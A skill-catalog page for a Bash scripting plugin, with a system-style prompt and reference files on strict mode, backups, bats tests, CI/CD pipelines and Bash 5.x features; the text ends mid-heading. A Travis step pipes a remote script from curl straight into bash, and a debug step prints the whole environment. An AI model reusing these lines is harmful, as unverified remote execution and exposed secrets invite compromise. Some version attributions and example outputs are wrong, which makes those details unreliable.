
Scripting Bash
- 18 installs
- 21 repo stars
- Updated August 5, 2026
- joaquimscosta/arkhe-claude-plugins
Guidance for defensive, portable Bash scripting for production automation and CI/CD with error handling and testing.
About
Covers strict error handling, POSIX portability, safe argument parsing, logging, and ShellCheck across ten focus areas. A developer uses it when writing production-grade shell scripts or CI/CD automation.
- Defensive programming with traps, exit codes, and cleanup
- POSIX compliance, bats/shellspec testing, and ShellCheck/shfmt static analysis
Scripting Bash by the numbers
- 18 all-time installs (skills.sh)
- Ranked #366 of 550 CLI & Terminal skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/joaquimscosta/arkhe-claude-plugins --skill scripting-bashAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 18 |
|---|---|
| repo stars | ★ 21 |
| Last updated | August 5, 2026 |
| Repository | joaquimscosta/arkhe-claude-plugins ↗ |
What it does
Guidance for defensive, portable Bash scripting for production automation and CI/CD with error handling and testing.
Files
Bash Scripting Mastery
You are an expert in defensive Bash scripting for production environments. Create safe, portable, and testable shell scripts following modern best practices.
10 Focus Areas
1. Defensive Programming - Strict error handling with proper exit codes and traps 2. POSIX Compliance - Cross-platform portability (Linux, macOS, BSD variants) 3. Safe Argument Parsing - Robust input validation and getopts usage 4. Robust File Operations - Temporary resource management with cleanup traps 5. Process Orchestration - Pipeline safety and subprocess management 6. Production Logging - Structured logging with timestamps and verbosity levels 7. Comprehensive Testing - bats-core/shellspec with TAP output 8. Static Analysis - ShellCheck compliance and shfmt formatting 9. Modern Bash 5.x - Latest features with version detection and fallbacks 10. CI/CD Integration - Automation workflows and security scanning
Progressive Disclosure: For deep dives, see references/ directory.
Essential Defensive Patterns
1. Strict Mode Template
#!/usr/bin/env bash
set -Eeuo pipefail # Exit on error, undefined vars, pipe failures
shopt -s inherit_errexit # Bash 4.4+ better error propagation
IFS=$'\n\t' # Prevent unwanted word splitting on spaces
# Error trap with context
trap 'echo "Error at line $LINENO: exit $?" >&2' ERR
# Cleanup trap for temporary resources
cleanup() {
[[ -n "${tmpdir:-}" ]] && rm -rf "$tmpdir"
}
trap cleanup EXIT2. Safe Variable Handling
# Quote all variable expansions
cp "$source_file" "$dest_dir"
# Required variables with error messages
: "${REQUIRED_VAR:?not set or empty}"
# Safe iteration over files (NEVER use for f in $(ls))
find . -name "*.txt" -print0 | while IFS= read -r -d '' file; do
echo "Processing: $file"
done
# Binary-safe array population
readarray -d '' files < <(find . -print0)3. Robust Argument Parsing
usage() {
cat <<EOF
Usage: ${0##*/} [OPTIONS] <required-arg>
OPTIONS:
-h, --help Show this help message
-v, --verbose Enable verbose output
-n, --dry-run Dry run mode
EOF
}
# Parse arguments
while getopts "hvn-:" opt; do
case "$opt" in
h) usage; exit 0 ;;
v) VERBOSE=1 ;;
n) DRY_RUN=1 ;;
-) # Long options
case "$OPTARG" in
help) usage; exit 0 ;;
verbose) VERBOSE=1 ;;
dry-run) DRY_RUN=1 ;;
*) echo "Unknown option: --$OPTARG" >&2; exit 1 ;;
esac
;;
*) usage >&2; exit 1 ;;
esac
done
shift $((OPTIND - 1))4. Safe Temporary Resources
# Create temp directory with cleanup
tmpdir=$(mktemp -d)
trap 'rm -rf "$tmpdir"' EXIT
# Safe temp file creation
tmpfile=$(mktemp)
trap 'rm -f "$tmpfile"' EXIT5. Structured Logging
readonly SCRIPT_NAME="${0##*/}"
readonly LOG_LEVELS=(DEBUG INFO WARN ERROR)
log() {
local level="$1"; shift
local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
echo "[$timestamp] [$level] $SCRIPT_NAME: $*" >&2
}
log_info() { log INFO "$@"; }
log_error() { log ERROR "$@"; }
log_debug() { [[ ${VERBOSE:-0} -eq 1 ]] && log DEBUG "$@" || true; }6. Version Detection & Modern Features
# Check Bash version before using modern features
if (( BASH_VERSINFO[0] >= 5 )); then
# Bash 5.x features available
declare -A config=([host]="localhost" [port]="8080")
echo "${config[@]@K}" # Assignment format (Bash 5.x)
else
echo "Warning: Bash 5.x features not available" >&2
fi
# Check for required commands
for cmd in jq curl; do
command -v "$cmd" &>/dev/null || {
echo "Error: Required command '$cmd' not found" >&2
exit 1
}
done7. Safe Command Execution
# Separate options from arguments with --
rm -rf -- "$user_input"
# Timeout for external commands
timeout 30s curl -fsSL "$url" || {
echo "Error: curl timed out" >&2
exit 1
}
# Capture both stdout and stderr
output=$(command 2>&1) || {
echo "Error: command failed with output: $output" >&2
exit 1
}8. Platform Portability
# Detect platform
case "$(uname -s)" in
Linux*) PLATFORM="linux" ;;
Darwin*) PLATFORM="macos" ;;
*) PLATFORM="unknown" ;;
esac
# Handle GNU vs BSD tool differences
if [[ $PLATFORM == "macos" ]]; then
sed -i '' 's/old/new/' file # BSD sed
else
sed -i 's/old/new/' file # GNU sed
fi9. Script Directory Detection
# Robust script directory detection (handles symlinks)
SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)"
readonly SCRIPT_DIR10. Best Practices Quick Reference
- Quote everything:
"$var"not$var - Use `[[ ]]`: Bash conditionals, fall back to
[ ]for POSIX - Prefer arrays: Over unsafe patterns like
for f in $(ls) - Use `printf`: Not
echofor predictable output - Command substitution:
$()not backticks - Arithmetic:
$(( ))notexpr - Built-ins: Use Bash built-ins over external commands
- End options: Use
--before arguments - Validate input: Check existence, permissions, format
- Cleanup traps: Always cleanup temporary resources
Output Deliverables
When creating Bash scripts, provide:
1. Production-ready script with:
- Strict mode enabled (
set -Eeuo pipefail) - Comprehensive error handling and cleanup traps
- Clear usage message (
--help) - Proper argument parsing with
getopts - Structured logging with log levels
2. Test suite (bats-core or shellspec):
- Edge cases and error conditions
- Mock external dependencies
- TAP output format
3. CI/CD configuration:
- ShellCheck static analysis
- shfmt formatting validation
- Automated testing with Bats
4. Documentation:
- Usage examples in
--help - Required dependencies and versions
- Exit codes and error messages
5. Static analysis config:
.shellcheckrcwith appropriate suppressions.editorconfigfor consistent formatting
Tools & Commands
Essential Tools
- ShellCheck:
shellcheck --enable=all script.sh - shfmt:
shfmt -i 2 -ci -bn -sr -kp script.sh - bats-core:
bats test/script.bats
Quick Validation
# Run full validation
shellcheck *.sh && shfmt -d *.sh && bats test/Reference Documentation
For detailed guidance on specific topics:
- [Modern Bash 5.x Features](references/MODERN_BASH.md) - Version-specific features, transformations, and compatibility
- [Testing Frameworks](references/TESTING.md) - bats-core, shellspec, test patterns, mocking
- [CI/CD Integration](references/CICD.md) - GitHub Actions, pre-commit hooks, matrix testing
- [Security & Hardening](references/SECURITY.md) - SAST, secrets detection, input sanitization, audit logging
Common Pitfalls to Avoid
See TROUBLESHOOTING.md for detailed solutions.
Quick list:
- ❌
for f in $(ls ...)→ ✅find -print0 | while IFS= read -r -d '' f - ❌ Unquoted variables → ✅ Always quote:
"$var" - ❌ Missing cleanup traps → ✅
trap cleanup EXIT - ❌ Using
echofor data → ✅ Useprintfinstead - ❌ Ignoring exit codes → ✅ Check all critical operations
- ❌ Unsafe array population → ✅ Use
readarray/mapfile
Examples
See EXAMPLES.md for complete script templates and usage patterns.
Bash Scripting Examples
Complete script templates and usage patterns following defensive programming practices.
Basic Production Script Template
#!/usr/bin/env bash
#
# Script: backup-database.sh
# Description: Production database backup with rotation
# Author: Your Name
# Version: 1.0.0
# Requirements: Bash 4.4+, pg_dump, aws-cli
set -Eeuo pipefail
shopt -s inherit_errexit
IFS=$'\n\t'
# Constants
readonly SCRIPT_NAME="${0##*/}"
readonly SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)"
readonly BACKUP_RETENTION_DAYS=7
# Variables
VERBOSE=0
DRY_RUN=0
tmpdir=""
# Error handling
trap 'echo "Error at line $LINENO: exit $?" >&2' ERR
cleanup() {
[[ -n "$tmpdir" ]] && rm -rf "$tmpdir"
}
trap cleanup EXIT
# Logging functions
log() {
local level="$1"; shift
local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
echo "[$timestamp] [$level] $SCRIPT_NAME: $*" >&2
}
log_info() { log INFO "$@"; }
log_error() { log ERROR "$@"; }
log_debug() { [[ $VERBOSE -eq 1 ]] && log DEBUG "$@" || true; }
# Usage message
usage() {
cat <<EOF
Usage: $SCRIPT_NAME [OPTIONS] <database-name>
Create a compressed database backup and upload to S3.
OPTIONS:
-h, --help Show this help message
-v, --verbose Enable verbose output
-n, --dry-run Dry run mode (don't upload)
-b, --bucket NAME S3 bucket name (required)
EXAMPLES:
$SCRIPT_NAME -b my-backups production_db
$SCRIPT_NAME --dry-run --verbose production_db
EXIT CODES:
0 Success
1 General error
2 Missing dependencies
3 Backup failed
4 Upload failed
EOF
}
# Check dependencies
check_dependencies() {
local missing=()
for cmd in pg_dump aws gzip; do
command -v "$cmd" &>/dev/null || missing+=("$cmd")
done
if [[ ${#missing[@]} -gt 0 ]]; then
log_error "Missing required commands: ${missing[*]}"
return 2
fi
}
# Main backup function
backup_database() {
local db_name="$1"
local s3_bucket="$2"
local backup_file="$db_name-$(date +%Y%m%d-%H%M%S).sql.gz"
local backup_path="$tmpdir/$backup_file"
log_info "Starting backup of database: $db_name"
# Create backup with progress
if ! pg_dump "$db_name" | gzip > "$backup_path"; then
log_error "Database backup failed"
return 3
fi
local size=$(du -h "$backup_path" | cut -f1)
log_info "Backup created: $backup_file ($size)"
# Upload to S3
if [[ $DRY_RUN -eq 0 ]]; then
log_info "Uploading to S3: s3://$s3_bucket/$backup_file"
if ! aws s3 cp "$backup_path" "s3://$s3_bucket/$backup_file"; then
log_error "S3 upload failed"
return 4
fi
log_info "Upload successful"
else
log_info "[DRY RUN] Would upload: $backup_file"
fi
}
# Main execution
main() {
local s3_bucket=""
local db_name=""
# Parse arguments
while getopts "hvnb:-:" opt; do
case "$opt" in
h) usage; exit 0 ;;
v) VERBOSE=1 ;;
n) DRY_RUN=1 ;;
b) s3_bucket="$OPTARG" ;;
-) # Long options
case "$OPTARG" in
help) usage; exit 0 ;;
verbose) VERBOSE=1 ;;
dry-run) DRY_RUN=1 ;;
bucket) s3_bucket="${!OPTIND}"; OPTIND=$((OPTIND + 1)) ;;
bucket=*) s3_bucket="${OPTARG#*=}" ;;
*) log_error "Unknown option: --$OPTARG"; usage >&2; exit 1 ;;
esac
;;
*) usage >&2; exit 1 ;;
esac
done
shift $((OPTIND - 1))
# Validate arguments
if [[ $# -lt 1 ]]; then
log_error "Missing required argument: database-name"
usage >&2
exit 1
fi
if [[ -z "$s3_bucket" ]]; then
log_error "Missing required option: --bucket"
usage >&2
exit 1
fi
db_name="$1"
# Check dependencies
check_dependencies || exit $?
# Create temp directory
tmpdir=$(mktemp -d)
log_debug "Created temp directory: $tmpdir"
# Execute backup
backup_database "$db_name" "$s3_bucket" || exit $?
log_info "Backup completed successfully"
}
main "$@"Error Handling Patterns
Pattern 1: Command Failure with Context
if ! some_command arg1 arg2; then
log_error "some_command failed with args: arg1 arg2"
exit 1
fiPattern 2: Capturing Output on Failure
if ! output=$(command 2>&1); then
log_error "Command failed with output: $output"
exit 1
fiPattern 3: Conditional Execution
command || {
log_error "Command failed"
cleanup_function
exit 1
}File Processing Patterns
Pattern 1: Safe File Iteration
# WRONG - Dangerous, breaks on spaces/glob chars
for file in $(ls *.txt); do
echo "$file"
done
# CORRECT - Binary-safe, handles all filenames
find . -name "*.txt" -print0 | while IFS= read -r -d '' file; do
echo "$file"
donePattern 2: Array Population
# Populate array from find
readarray -d '' files < <(find . -name "*.txt" -print0)
# Process array
for file in "${files[@]}"; do
echo "Processing: $file"
donePattern 3: File Validation
validate_file() {
local file="$1"
[[ -e "$file" ]] || { log_error "File does not exist: $file"; return 1; }
[[ -f "$file" ]] || { log_error "Not a regular file: $file"; return 1; }
[[ -r "$file" ]] || { log_error "File not readable: $file"; return 1; }
return 0
}
# Usage
if ! validate_file "$input_file"; then
exit 1
fiPlatform Compatibility Patterns
Pattern 1: Platform Detection
detect_platform() {
case "$(uname -s)" in
Linux*) echo "linux" ;;
Darwin*) echo "macos" ;;
CYGWIN*|MINGW*|MSYS*) echo "windows" ;;
*) echo "unknown" ;;
esac
}
readonly PLATFORM=$(detect_platform)Pattern 2: GNU vs BSD Tools
# sed in-place editing
if [[ $PLATFORM == "macos" ]]; then
sed -i '' 's/old/new/' "$file" # BSD sed
else
sed -i 's/old/new/' "$file" # GNU sed
fi
# date formatting
if [[ $PLATFORM == "macos" ]]; then
date -u -r "$timestamp" '+%Y-%m-%d' # BSD date
else
date -u -d "@$timestamp" '+%Y-%m-%d' # GNU date
fiPattern 3: Command Fallbacks
# Use GNU tools if available, fall back to BSD
if command -v greadlink &>/dev/null; then
READLINK="greadlink" # GNU coreutils on macOS
else
READLINK="readlink"
fi
canonical_path=$($READLINK -f "$path")Testing Examples
bats-core Test Suite
#!/usr/bin/env bats
# test/backup-database.bats
setup() {
# Create test environment
export TEST_DB="test_database"
export TEST_BUCKET="test-bucket"
# Mock pg_dump
function pg_dump() {
echo "MOCK DATABASE DUMP"
}
export -f pg_dump
# Mock aws
function aws() {
echo "MOCK AWS UPLOAD: $*"
return 0
}
export -f aws
}
teardown() {
# Cleanup test environment
unset TEST_DB TEST_BUCKET
}
@test "script shows usage with --help" {
run ./backup-database.sh --help
[[ "$status" -eq 0 ]]
[[ "$output" =~ "Usage:" ]]
}
@test "script fails without required arguments" {
run ./backup-database.sh
[[ "$status" -eq 1 ]]
[[ "$output" =~ "Missing required argument" ]]
}
@test "dry-run mode doesn't upload" {
run ./backup-database.sh --dry-run --bucket "$TEST_BUCKET" "$TEST_DB"
[[ "$status" -eq 0 ]]
[[ "$output" =~ "DRY RUN" ]]
[[ "$output" =~ "Would upload" ]]
}
@test "backup succeeds with valid arguments" {
run ./backup-database.sh --bucket "$TEST_BUCKET" "$TEST_DB"
[[ "$status" -eq 0 ]]
[[ "$output" =~ "Backup completed successfully" ]]
}
@test "verbose mode shows debug output" {
run ./backup-database.sh --verbose --bucket "$TEST_BUCKET" "$TEST_DB"
[[ "$status" -eq 0 ]]
[[ "$output" =~ "DEBUG" ]]
}CI/CD Integration Examples
GitHub Actions Workflow
name: Shell Script CI
on: [push, pull_request]
jobs:
lint-and-test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest]
bash-version: ['4.4', '5.0', '5.1', '5.2']
steps:
- uses: actions/checkout@v3
- name: Install Bash ${{ matrix.bash-version }}
run: |
if [[ "$RUNNER_OS" == "Linux" ]]; then
sudo apt-get update
sudo apt-get install -y bash=${{ matrix.bash-version }}*
fi
- name: Install ShellCheck
run: |
if [[ "$RUNNER_OS" == "Linux" ]]; then
sudo apt-get install -y shellcheck
else
brew install shellcheck
fi
- name: Install shfmt
run: |
GO111MODULE=on go install mvdan.cc/sh/v3/cmd/shfmt@latest
- name: Install bats-core
run: |
git clone https://github.com/bats-core/bats-core.git
cd bats-core && sudo ./install.sh /usr/local
- name: Run ShellCheck
run: shellcheck --enable=all *.sh
- name: Run shfmt
run: shfmt -d -i 2 -ci -bn -sr -kp *.sh
- name: Run tests
run: bats test/Pre-commit Hook Configuration
# .pre-commit-config.yaml
repos:
- repo: https://github.com/shellcheck-py/shellcheck-py
rev: v0.9.0.5
hooks:
- id: shellcheck
args: ['--enable=all']
- repo: https://github.com/scop/pre-commit-shfmt
rev: v3.7.0-1
hooks:
- id: shfmt
args: ['-i', '2', '-ci', '-bn', '-sr', '-kp', '-w']
- repo: https://github.com/openstack/bashate
rev: 2.1.1
hooks:
- id: bashate
args: ['--ignore=E006']Advanced Patterns
Pattern 1: Parallel Processing
# Process files in parallel
find . -name "*.txt" -print0 |
xargs -0 -P "$(nproc)" -I {} sh -c '
process_file "$1"
' _ {}
# With error handling
errors=0
find . -name "*.txt" -print0 |
xargs -0 -P "$(nproc)" -I {} sh -c '
process_file "$1" || exit 255
' _ {} || errors=$?
if [[ $errors -ne 0 ]]; then
log_error "Some files failed to process"
exit 1
fiPattern 2: JSON Output
# Generate structured JSON output
jq -n \
--arg timestamp "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
--arg status "success" \
--arg files_processed "$file_count" \
'{
timestamp: $timestamp,
status: $status,
metrics: {
files_processed: ($files_processed | tonumber)
}
}'Pattern 3: Co-process for Bidirectional Communication
# Start a co-process
coproc worker {
while IFS= read -r line; do
# Process input and respond
result=$(echo "$line" | tr '[:lower:]' '[:upper:]')
echo "$result"
done
}
# Send data to co-process
echo "hello" >&"${worker[1]}"
# Read response
read -u "${worker[0]}" response
echo "Response: $response"
# Cleanup
exec {worker[0]}>&- {worker[1]}>&-
wait "$worker_PID"Performance Optimization Examples
Before: Inefficient
# SLOW: Repeated command substitutions and subshells
for i in {1..1000}; do
result=$(date +%s)
echo "$result: $(basename "$file")"
doneAfter: Optimized
# FAST: Single substitution, Bash built-in
timestamp=$(date +%s)
basename="${file##*/}"
for i in {1..1000}; do
echo "$timestamp: $basename"
doneResource Management Pattern
# Comprehensive resource cleanup
declare -a CLEANUP_FILES=()
declare -a CLEANUP_DIRS=()
cleanup_resources() {
local file dir
# Remove files
for file in "${CLEANUP_FILES[@]}"; do
[[ -f "$file" ]] && rm -f "$file"
done
# Remove directories
for dir in "${CLEANUP_DIRS[@]}"; do
[[ -d "$dir" ]] && rm -rf "$dir"
done
}
trap cleanup_resources EXIT
# Register resources for cleanup
tmpfile=$(mktemp)
CLEANUP_FILES+=("$tmpfile")
tmpdir=$(mktemp -d)
CLEANUP_DIRS+=("$tmpdir")CI/CD Integration for Bash Scripts
Comprehensive guide to integrating Bash scripts into CI/CD pipelines with automated testing, security scanning, and deployment.
GitHub Actions
Basic Workflow
name: Shell Script CI
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
lint-and-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
- name: Install ShellCheck
run: sudo apt-get update && sudo apt-get install -y shellcheck
- name: Install shfmt
run: |
GO111MODULE=on go install mvdan.cc/sh/v3/cmd/shfmt@latest
echo "$HOME/go/bin" >> $GITHUB_PATH
- name: Install bats
run: sudo apt-get install -y bats
- name: Run ShellCheck
run: shellcheck --enable=all *.sh
- name: Check formatting
run: shfmt -d -i 2 -ci -bn -sr -kp *.sh
- name: Run tests
run: bats test/Matrix Testing (Multiple Bash Versions)
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest]
bash-version: ['4.4', '5.0', '5.1', '5.2']
steps:
- uses: actions/checkout@v3
- name: Setup Bash ${{ matrix.bash-version }}
run: |
docker pull bash:${{ matrix.bash-version }}
- name: Run tests in container
run: |
docker run --rm \
-v "$PWD:/work" \
-w /work \
bash:${{ matrix.bash-version }} \
bats test/Security Scanning
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run Trivy scanner
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
format: 'sarif'
output: 'trivy-results.sarif'
- name: Upload results to GitHub Security
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: 'trivy-results.sarif'
- name: Scan for secrets
uses: trufflesecurity/trufflehog@main
with:
path: ./
base: ${{ github.event.repository.default_branch }}
head: HEADCoverage Reporting
jobs:
coverage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install kcov
run: |
sudo apt-get update
sudo apt-get install -y kcov bats
- name: Run tests with coverage
run: |
kcov --exclude-pattern=/usr coverage/ bats test/
- name: Upload coverage to Codecov
uses: codecov/codecov-action@v3
with:
directory: ./coverage
flags: bash
name: bash-coverage
- name: Generate coverage badge
run: |
COVERAGE=$(grep -oP '(?<=<span class="headerCovTableEntryLo">)[^<]+' coverage/index.html | head -1)
echo "Coverage: $COVERAGE"Automated Releases
name: Release
on:
push:
tags:
- 'v*'
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Create Release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ github.ref }}
release_name: Release ${{ github.ref }}
draft: false
prerelease: false
- name: Build artifacts
run: |
mkdir -p dist
tar -czf dist/scripts.tar.gz *.sh lib/
- name: Upload Release Asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./dist/scripts.tar.gz
asset_name: scripts.tar.gz
asset_content_type: application/gzipGitLab CI/CD
Basic Pipeline
# .gitlab-ci.yml
stages:
- lint
- test
- security
- deploy
shellcheck:
stage: lint
image: koalaman/shellcheck-alpine
script:
- shellcheck --enable=all *.sh
only:
- merge_requests
- main
shfmt:
stage: lint
image: mvdan/shfmt
script:
- shfmt -d -i 2 -ci -bn -sr -kp *.sh
only:
- merge_requests
- main
bats-test:
stage: test
image: bash:5.2
before_script:
- apk add --no-cache bats
script:
- bats test/
coverage: '/^Covered: (\d+\.\d+)%/'
artifacts:
reports:
junit: test-results.xml
security-scan:
stage: security
image: aquasec/trivy
script:
- trivy fs --security-checks vuln,config .
only:
- main
deploy:
stage: deploy
image: bash:5.2
script:
- ./deploy.sh
only:
- main
when: manualMatrix Testing in GitLab
.test-template:
stage: test
script:
- bats test/
test:bash-4.4:
extends: .test-template
image: bash:4.4
test:bash-5.0:
extends: .test-template
image: bash:5.0
test:bash-5.2:
extends: .test-template
image: bash:5.2Pre-commit Hooks
Configuration
# .pre-commit-config.yaml
repos:
- repo: https://github.com/shellcheck-py/shellcheck-py
rev: v0.9.0.6
hooks:
- id: shellcheck
args: ['--enable=all', '--exclude=SC2312']
- repo: https://github.com/scop/pre-commit-shfmt
rev: v3.7.0-1
hooks:
- id: shfmt
args: ['-i', '2', '-ci', '-bn', '-sr', '-kp', '-w']
- repo: https://github.com/openstack/bashate
rev: 2.1.1
hooks:
- id: bashate
args: ['--ignore=E006']
- repo: local
hooks:
- id: bats-test
name: Run bats tests
entry: bats
args: ['test/']
language: system
pass_filenames: false
- id: check-bash-version
name: Check minimum Bash version
entry: bash
args: ['-c', 'grep -q "BASH_VERSINFO" *.sh']
language: system
pass_filenames: falseInstallation
# Install pre-commit
pip install pre-commit
# Install hooks
pre-commit install
# Run manually
pre-commit run --all-filesCustom Hook Script
#!/bin/bash
# .git/hooks/pre-commit
set -e
# Run ShellCheck
echo "Running ShellCheck..."
shellcheck --enable=all *.sh
# Run shfmt
echo "Checking formatting..."
shfmt -d -i 2 -ci -bn -sr -kp *.sh
# Run tests
echo "Running tests..."
bats test/
echo "All checks passed!"Jenkins
Declarative Pipeline
pipeline {
agent any
stages {
stage('Checkout') {
steps {
checkout scm
}
}
stage('Lint') {
parallel {
stage('ShellCheck') {
steps {
sh 'shellcheck --enable=all *.sh'
}
}
stage('shfmt') {
steps {
sh 'shfmt -d -i 2 -ci -bn -sr -kp *.sh'
}
}
}
}
stage('Test') {
steps {
sh 'bats test/'
}
post {
always {
junit 'test-results.xml'
}
}
}
stage('Security Scan') {
steps {
sh 'trivy fs --security-checks vuln,config .'
}
}
stage('Deploy') {
when {
branch 'main'
}
steps {
sh './deploy.sh'
}
}
}
post {
always {
cleanWs()
}
}
}CircleCI
Configuration
# .circleci/config.yml
version: 2.1
jobs:
lint:
docker:
- image: koalaman/shellcheck-alpine
steps:
- checkout
- run:
name: ShellCheck
command: shellcheck --enable=all *.sh
test:
docker:
- image: bash:5.2
steps:
- checkout
- run:
name: Install bats
command: apk add --no-cache bats
- run:
name: Run tests
command: bats test/
- store_test_results:
path: test-results
workflows:
version: 2
lint-and-test:
jobs:
- lint
- test:
requires:
- lintTravis CI
Configuration
# .travis.yml
language: bash
os:
- linux
- osx
env:
- BASH_VERSION=4.4
- BASH_VERSION=5.2
install:
- if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then sudo apt-get install -y shellcheck bats; fi
- if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then brew install shellcheck bats-core; fi
script:
- shellcheck --enable=all *.sh
- shfmt -d -i 2 -ci -bn -sr -kp *.sh
- bats test/
after_success:
- bash <(curl -s https://codecov.io/bash)Docker-Based CI
Makefile for Local Testing
.PHONY: lint test security all
SHELLCHECK := docker run --rm -v "$PWD:/mnt" koalaman/shellcheck-alpine
SHFMT := docker run --rm -v "$PWD:/work" -w /work mvdan/shfmt
BATS := docker run --rm -v "$PWD:/work" -w /work bash:5.2 bats
TRIVY := docker run --rm -v "$PWD:/work" -w /work aquasec/trivy
lint:
$(SHELLCHECK) shellcheck --enable=all /mnt/*.sh
$(SHFMT) -d -i 2 -ci -bn -sr -kp .
test:
$(BATS) test/
security:
$(TRIVY) fs --security-checks vuln,config .
all: lint test security
# CI-specific target
ci: all
@echo "All CI checks passed!"Usage
# Run locally (same as CI)
make ci
# Run individual checks
make lint
make test
make securityContinuous Deployment
Deployment Script
#!/bin/bash
# deploy.sh
set -Eeuo pipefail
readonly DEPLOY_USER="${DEPLOY_USER:?not set}"
readonly DEPLOY_HOST="${DEPLOY_HOST:?not set}"
readonly DEPLOY_PATH="${DEPLOY_PATH:?not set}"
log_info() {
echo "[INFO] $*" >&2
}
# Deploy to remote server
deploy_to_server() {
log_info "Deploying to $DEPLOY_HOST..."
# Copy scripts
rsync -avz \
--exclude='.git' \
--exclude='test/' \
./ "$DEPLOY_USER@$DEPLOY_HOST:$DEPLOY_PATH/"
# Run post-deploy tasks
ssh "$DEPLOY_USER@$DEPLOY_HOST" bash <<'EOF'
cd /path/to/scripts
chmod +x *.sh
./post-deploy.sh
EOF
log_info "Deployment completed"
}
# Main
main() {
deploy_to_server
}
main "$@"GitHub Action for Deployment
name: Deploy
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup SSH
run: |
mkdir -p ~/.ssh
echo "${{ secrets.DEPLOY_SSH_KEY }}" > ~/.ssh/id_rsa
chmod 600 ~/.ssh/id_rsa
ssh-keyscan -H ${{ secrets.DEPLOY_HOST }} >> ~/.ssh/known_hosts
- name: Deploy
env:
DEPLOY_USER: ${{ secrets.DEPLOY_USER }}
DEPLOY_HOST: ${{ secrets.DEPLOY_HOST }}
DEPLOY_PATH: ${{ secrets.DEPLOY_PATH }}
run: ./deploy.shBest Practices
1. Fast Feedback
# Run quick checks first, slow checks later
jobs:
quick-lint:
runs-on: ubuntu-latest
steps:
- run: shellcheck *.sh # Fast
full-test:
needs: quick-lint
runs-on: ubuntu-latest
steps:
- run: bats test/ # Slower2. Caching
- name: Cache dependencies
uses: actions/cache@v3
with:
path: |
~/.cache/shellcheck
~/go/bin
key: ${{ runner.os }}-tools-${{ hashFiles('**/*.sh') }}3. Fail Fast
strategy:
fail-fast: true # Stop on first failure
matrix:
bash-version: ['4.4', '5.0', '5.2']4. Artifact Preservation
- name: Upload test results
if: always()
uses: actions/upload-artifact@v3
with:
name: test-results
path: test-results/
retention-days: 30Troubleshooting CI/CD
Issue: Tests pass locally but fail in CI
Solution:
# Debug CI environment
- name: Debug environment
run: |
echo "Bash version: $BASH_VERSION"
echo "PATH: $PATH"
env | sort
which bash shellcheck batsIssue: Slow CI builds
Solution:
# Use Docker layer caching
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v2
- name: Cache Docker layers
uses: actions/cache@v3
with:
path: /tmp/.buildx-cache
key: ${{ runner.os }}-buildx-${{ github.sha }}Issue: Flaky tests
Solution:
# Add retry logic to tests
@test "flaky operation" {
local retries=3
local count=0
until run_operation; do
count=$((count + 1))
if [ $count -ge $retries ]; then
fail "Operation failed after $retries attempts"
fi
sleep 1
done
}References
Modern Bash 5.x Features
Comprehensive guide to Bash 5.x features with version detection and fallback strategies.
Version Detection
Always check Bash version before using modern features:
# Check major version
if (( BASH_VERSINFO[0] >= 5 )); then
echo "Bash 5.x features available"
fi
# Check specific version
if (( BASH_VERSINFO[0] == 5 && BASH_VERSINFO[1] >= 2 )); then
echo "Bash 5.2+ features available"
fi
# Full version info
echo "Bash ${BASH_VERSION}"
echo "Major: ${BASH_VERSINFO[0]}, Minor: ${BASH_VERSINFO[1]}, Patch: ${BASH_VERSINFO[2]}"Bash 5.0 Features (2019-01)
Associative Array Improvements
# Better handling of unset keys
declare -A config
echo "${config[nonexistent]}" # Returns empty, doesn't error
# Improved iteration
for key in "${!config[@]}"; do
echo "$key: ${config[$key]}"
doneCase Modification (${parameter@U}, ${parameter@L})
text="Hello World"
# Uppercase transformation
echo "${text@U}" # HELLO WORLD
# Lowercase transformation
echo "${text@L}" # hello world
# Capitalize first letter
echo "${text,}" # hello World (lowercase first)
echo "${text^}" # Hello world (uppercase first)
echo "${text^^}" # HELLO WORLD (all uppercase)
echo "${text,,}" # hello world (all lowercase)Enhanced wait Command
# Wait for any background job to complete
sleep 5 &
sleep 10 &
wait -n # Returns when first job completes
echo "One job completed"Bash 5.1 Features (2020-12)
Enhanced Parameter Transformations
# Assignment format
declare -a arr=(one two three)
echo "${arr[@]@A}" # declare -a arr=([0]="one" [1]="two" [2]="three")
# Useful for saving/restoring state
saved_config="${config[@]@A}"
# ... modify config ...
eval "$saved_config" # Restore originalcompat Shopt Options
# Enable Bash 4.4 compatibility mode
shopt -s compat44
# Disable to use Bash 5.x features
shopt -u compat44SRANDOM Variable
# Cryptographically secure random numbers (32-bit)
echo "$SRANDOM"
# Generate random hex string
printf '%08x\n' "$SRANDOM"Bash 5.2 Features (2022-09)
varredir_close Option
# Automatically close file descriptors assigned to variables
shopt -s varredir_close
{variable}<file # FD stored in $variable, auto-closed when out of scopeImproved exec Error Handling
# exec now sets error codes more consistently
exec 2>/nonexistent/path # Now properly reports error
echo $? # Non-zero exit codeEPOCHREALTIME Variable
